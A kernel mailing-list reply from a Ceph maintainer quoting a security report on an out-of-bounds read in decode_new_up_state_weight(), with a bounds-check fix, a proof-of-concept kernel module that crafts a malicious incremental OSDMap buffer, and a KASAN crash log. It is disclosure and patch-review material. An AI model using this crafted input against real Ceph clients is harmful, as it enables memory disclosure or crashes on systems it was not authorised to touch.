Re: [Security][Ceph] OSDMap new_state decode overflow causes out-of-bounds read in kernel client
Viacheslav Dubeyko <[email protected]> Fri, 24 Jul 2026 23:14:04 -0700
| Newsgroups | org.kernel.vger.ceph-devel |
|---|---|
| Message-ID | <[email protected]> |
On Sat, 2026-07-25 at 14:47 +0900, Baul Lee wrote:
> fix.patch
> --- a/net/ceph/osdmap.c
> +++ b/net/ceph/osdmap.c
> @@ -1902,6 +1902,7 @@ static int decode_new_up_state_weight(void **p,
> void *end, u8 struct_v,
> =C2=A0 s32 osd;
> =C2=A0 u32 xorstate;
> =C2=A0
> + ceph_decode_need(p, end, sizeof(u32) + (struct_v >=3D 5 ? sizeof(u32)
> : sizeof(u8)), e_inval);
> =C2=A0 osd =3D ceph_decode_32(p);
> =C2=A0 if (osd >=3D map->max_osd)
> =C2=A0 goto e_inval;
> poc.c
> // SPDX-License-Identifier: GPL-2.0
> #include <linux/module.h>
> #include <linux/kernel.h>
> #include <linux/slab.h>
> #include <linux/mm.h>
> #include <linux/ceph/osdmap.h>
> #include <linux/ceph/decode.h>
>=20
> static void put8(u8 **q, u8 v) =C2=A0 { **q =3D v; *q +=3D 1; }
> static void put32(u8 **q, u32 v) { __le32 le =3D cpu_to_le32(v);
> memcpy(*q, &le, 4); *q +=3D 4; }
> static void put64(u8 **q, u64 v) { __le64 le =3D cpu_to_le64(v);
> memcpy(*q, &le, 8); *q +=3D 8; }
>=20
> #define MAXOSD 8u
>=20
> static int __init poc_init(void)
> {
> =C2=A0struct ceph_osdmap *map, *ret;
> =C2=A0u8 *buf, *q;
> =C2=A0void *p, *end;
> =C2=A0size_t len;
> =C2=A0int i;
>=20
> =C2=A0map =3D ceph_osdmap_alloc();
> =C2=A0if (!map)
> =C2=A0return -ENOMEM;
>=20
> =C2=A0len =3D 12 + (16+4+8+8+4) + (4+4+4) + (4+4+4) + (4+4+4);
> =C2=A0buf =3D kvmalloc(len, GFP_KERNEL);
> =C2=A0if (!buf) {
> =C2=A0ceph_osdmap_destroy(map);
> =C2=A0return -ENOMEM;
> =C2=A0}
> =C2=A0q =3D buf;
>=20
> =C2=A0put8(&q, 7); put8(&q, 7); put32(&q, 0);
> =C2=A0put8(&q, 7); put8(&q, 1); put32(&q, 0);
>=20
> =C2=A0for (i =3D 0; i < 16; i++)
> =C2=A0put8(&q, 0);
> =C2=A0put32(&q, 1);
> =C2=A0put32(&q, 0); put32(&q, 0);
> =C2=A0put64(&q, (u64)-1);
> =C2=A0put32(&q, (u32)-1);
> =C2=A0put32(&q, 0);
> =C2=A0put32(&q, 0);
> =C2=A0put32(&q, MAXOSD);
> =C2=A0put32(&q, 0);
> =C2=A0put32(&q, 0);
> =C2=A0put32(&q, 0);
>=20
> =C2=A0put32(&q, 0);
> =C2=A0put32(&q, 0x20000000u);
> =C2=A0put32(&q, 0);
>=20
> =C2=A0BUG_ON((size_t)(q - buf) !=3D len);
>=20
> =C2=A0p =3D buf;
> =C2=A0end =3D buf + len;
> =C2=A0ret =3D osdmap_apply_incremental(&p, end, false, map);
> =C2=A0if (!IS_ERR(ret))
> =C2=A0map =3D ret;
> =C2=A0ceph_osdmap_destroy(map);
> =C2=A0kvfree(buf);
> =C2=A0return 0;
> }
>=20
> static void __exit poc_exit(void) { }
>=20
> module_init(poc_init);
> module_exit(poc_exit);
> MODULE_LICENSE("GPL");
> MODULE_DESCRIPTION("KASAN PoC: ceph decode_new_up_state_weight OOB
> read");
> KASAN
> Linux 7.2.0-rc2 (origin/master 0e35b9b6ec0f), arm64, CONFIG_KASAN=3Dy
> CONFIG_CEPH_LIB=3Dm. QEMU virt.
> Reproducer: poc/poc.c (minimized) feeds a crafted incremental OSDMap
> to the unmodified
> osdmap_apply_incremental() -> decode_new_up_state_weight() path (the
> exact bytes a malicious
> ceph monitor's MSG_OSD_MAP would decode); the vulnerable function is
> byte-for-byte unmodified.
>=20
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> BUG: KASAN: slab-out-of-bounds in
> decode_new_up_state_weight+0x3f8/0x900 [libceph]
> Read of size 4 at addr ffff000019a51264 by task insmod/241
>=20
> CPU: 1 UID: 0 PID: 241 Comm: insmod Tainted: G =C2=A0 =C2=A0B =C2=A0 =C2=
=A0 =C2=A0OE =C2=A0 =C2=A0 =C2=A0
> 7.0.0 #5 PREEMPT(lazy)
> Tainted: [B]=3DBAD_PAGE, [O]=3DOOT_MODULE, [E]=3DUNSIGNED_MODULE
> Hardware name: linux,dummy-virt (DT)
> Call trace:
> =C2=A0show_stack+0x24/0x50 (C)
> =C2=A0dump_stack_lvl+0x80/0xc0
> =C2=A0print_report+0x164/0x4e8
> =C2=A0kasan_report+0xb0/0x128
> =C2=A0kasan_check_range+0x114/0x200
> =C2=A0__asan_loadN+0x20/0x48
> =C2=A0decode_new_up_state_weight+0x3f8/0x900 [libceph]
> =C2=A0osdmap_apply_incremental+0x3d4/0xa28 [libceph]
> =C2=A0poc_init+0x23c/0xf70 [ceph_osdmap_poc]
> =C2=A0do_one_initcall+0xb4/0x6a0
> =C2=A0do_init_module+0x1c4/0x4c8
> =C2=A0load_module+0x30b4/0x37e8
> =C2=A0init_module_from_file+0x190/0x1f8
> =C2=A0__arm64_sys_finit_module+0x304/0x4e0
> =C2=A0invoke_syscall.constprop.0+0xa8/0x188
> =C2=A0el0_svc_common.constprop.0+0x80/0x178
> =C2=A0do_el0_svc+0x3c/0x70
> =C2=A0el0_svc+0x44/0x140
> =C2=A0el0t_64_sync_handler+0xc0/0x110
> =C2=A0el0t_64_sync+0x1b8/0x1c0
>=20
> Allocated by task 241:
> =C2=A0kasan_save_stack+0x44/0x88
> =C2=A0kasan_save_track+0x24/0x58
> =C2=A0kasan_save_alloc_info+0x48/0x90
> =C2=A0__kasan_kmalloc+0xd8/0x110
> =C2=A0__kvmalloc_node_noprof+0x23c/0x7f0
> =C2=A0poc_init+0xb4/0xf70 [ceph_osdmap_poc] =C2=A0 =C2=A0 =C2=A0 =C2=A0<-=
the crafted 88-byte
> inc-osdmap buffer
>=20
> The buggy address belongs to the object at ffff000019a51200
> =C2=A0which belongs to the cache kmalloc-rnd-08-96 of size 96
> The buggy address is located 12 bytes to the right of
> =C2=A0allocated 88-byte region [ffff000019a51200, ffff000019a51258)
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>=20
> 2026=EB=85=84 7=EC=9B=94 25=EC=9D=BC (=ED=86=A0) =EC=98=A4=ED=9B=84 2:44,=
Baul Lee <[email protected]>=EB=8B=98=EC=9D=B4 =EC=9E=91=EC=84=B1:
> > fix.patch--- a/net/ceph/osdmap.c
> > +++ b/net/ceph/osdmap.c
> > @@ -1902,6 +1902,7 @@ static int decode_new_up_state_weight(void
> > **p, void *end, u8 struct_v,
> > =C2=A0 s32 osd;
> > =C2=A0 u32 xorstate;
> > =C2=A0
> > + ceph_decode_need(p, end, sizeof(u32) + (struct_v
> > >=3D 5 ? sizeof(u32) : sizeof(u8)), e_inval);
> > =C2=A0 osd =3D ceph_decode_32(p);
> > =C2=A0 if (osd >=3D map->max_osd)
> > =C2=A0 goto e_inval;
> > poc.c// SPDX-License-Identifier: GPL-2.0
> > #include <linux/module.h>
> > #include <linux/kernel.h>
> > #include <linux/slab.h>
> > #include <linux/mm.h>
> > #include <linux/ceph/osdmap.h>
> > #include <linux/ceph/decode.h>
> >=20
> > static void put8(u8 **q, u8 v) { **q =3D v; *q +=3D 1; }
> > static void put32(u8 **q, u32 v) { __le32 le =3D cpu_to_le32(v);
> > memcpy(*q, &le, 4); *q +=3D 4; }
> > static void put64(u8 **q, u64 v) { __le64 le =3D cpu_to_le64(v);
> > memcpy(*q, &le, 8); *q +=3D 8; }
> >=20
> > #define MAXOSD 8u
> >=20
> > static int __init poc_init(void)
> > {
> > struct ceph_osdmap *map, *ret;
> > u8 *buf, *q;
> > void *p, *end;
> > size_t len;
> > int i;
> >=20
> > map =3D ceph_osdmap_alloc();
> > if (!map)
> > return -ENOMEM;
> >=20
> > len =3D 12 + (16+4+8+8+4) + (4+4+4) + (4+4+4) + (4+4+4);
> > buf =3D kvmalloc(len, GFP_KERNEL);
> > if (!buf) {
> > ceph_osdmap_destroy(map);
> > return -ENOMEM;
> > }
> > q =3D buf;
> >=20
> > put8(&q, 7); put8(&q, 7); put32(&q, 0);
> > put8(&q, 7); put8(&q, 1); put32(&q, 0);
> >=20
> > for (i =3D 0; i < 16; i++)
> > put8(&q, 0);
> > put32(&q, 1);
> > put32(&q, 0); put32(&q, 0);
> > put64(&q, (u64)-1);
> > put32(&q, (u32)-1);
> > put32(&q, 0);
> > put32(&q, 0);
> > put32(&q, MAXOSD);
> > put32(&q, 0);
> > put32(&q, 0);
> > put32(&q, 0);
> >=20
> > put32(&q, 0);
> > put32(&q, 0x20000000u);
> > put32(&q, 0);
> >=20
> > BUG_ON((size_t)(q - buf) !=3D len);
> >=20
> > p =3D buf;
> > end =3D buf + len;
> > ret =3D osdmap_apply_incremental(&p, end, false, map);
> > if (!IS_ERR(ret))
> > map =3D ret;
> > ceph_osdmap_destroy(map);
> > kvfree(buf);
> > return 0;
> > }
> >=20
> > static void __exit poc_exit(void) { }
> >=20
> > module_init(poc_init);
> > module_exit(poc_exit);
> > MODULE_LICENSE("GPL");
> > MODULE_DESCRIPTION("KASAN PoC: ceph decode_new_up_state_weight OOB
> > read");
> > KASANLinux 7.2.0-rc2 (origin/master 0e35b9b6ec0f), arm64,
> > CONFIG_KASAN=3Dy CONFIG_CEPH_LIB=3Dm. QEMU virt.
> > Reproducer: poc/poc.c (minimized) feeds a crafted incremental
> > OSDMap to the unmodified
> > osdmap_apply_incremental() -> decode_new_up_state_weight() path
> > (the exact bytes a malicious
> > ceph monitor's MSG_OSD_MAP would decode); the vulnerable function
> > is byte-for-byte unmodified.
> >=20
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> > BUG: KASAN: slab-out-of-bounds in
> > decode_new_up_state_weight+0x3f8/0x900 [libceph]
> > Read of size 4 at addr ffff000019a51264 by task insmod/241
> >=20
> > CPU: 1 UID: 0 PID: 241 Comm: insmod Tainted: G B OE =20
> > 7.0.0 #5 PREEMPT(lazy)
> > Tainted: [B]=3DBAD_PAGE, [O]=3DOOT_MODULE, [E]=3DUNSIGNED_MODULE
> > Hardware name: linux,dummy-virt (DT)
> > Call trace:
> > =C2=A0show_stack+0x24/0x50 (C)
> > =C2=A0dump_stack_lvl+0x80/0xc0
> > =C2=A0print_report+0x164/0x4e8
> > =C2=A0kasan_report+0xb0/0x128
> > =C2=A0kasan_check_range+0x114/0x200
> > =C2=A0__asan_loadN+0x20/0x48
> > =C2=A0decode_new_up_state_weight+0x3f8/0x900 [libceph]
> > =C2=A0osdmap_apply_incremental+0x3d4/0xa28 [libceph]
> > =C2=A0poc_init+0x23c/0xf70 [ceph_osdmap_poc]
> > =C2=A0do_one_initcall+0xb4/0x6a0
> > =C2=A0do_init_module+0x1c4/0x4c8
> > =C2=A0load_module+0x30b4/0x37e8
> > =C2=A0init_module_from_file+0x190/0x1f8
> > =C2=A0__arm64_sys_finit_module+0x304/0x4e0
> > =C2=A0invoke_syscall.constprop.0+0xa8/0x188
> > =C2=A0el0_svc_common.constprop.0+0x80/0x178
> > =C2=A0do_el0_svc+0x3c/0x70
> > =C2=A0el0_svc+0x44/0x140
> > =C2=A0el0t_64_sync_handler+0xc0/0x110
> > =C2=A0el0t_64_sync+0x1b8/0x1c0
> >=20
> > Allocated by task 241:
> > =C2=A0kasan_save_stack+0x44/0x88
> > =C2=A0kasan_save_track+0x24/0x58
> > =C2=A0kasan_save_alloc_info+0x48/0x90
> > =C2=A0__kasan_kmalloc+0xd8/0x110
> > =C2=A0__kvmalloc_node_noprof+0x23c/0x7f0
> > =C2=A0poc_init+0xb4/0xf70 [ceph_osdmap_poc] <- the crafted 88-
> > byte inc-osdmap buffer
> >=20
> > The buggy address belongs to the object at ffff000019a51200
> > =C2=A0which belongs to the cache kmalloc-rnd-08-96 of size 96
> > The buggy address is located 12 bytes to the right of
> > =C2=A0allocated 88-byte region [ffff000019a51200, ffff000019a51258)
Please, follow to this guidance [1]. This is not the formal patch.
Thanks,
Slava.
[1] https://docs.kernel.org/process/submitting-patches.html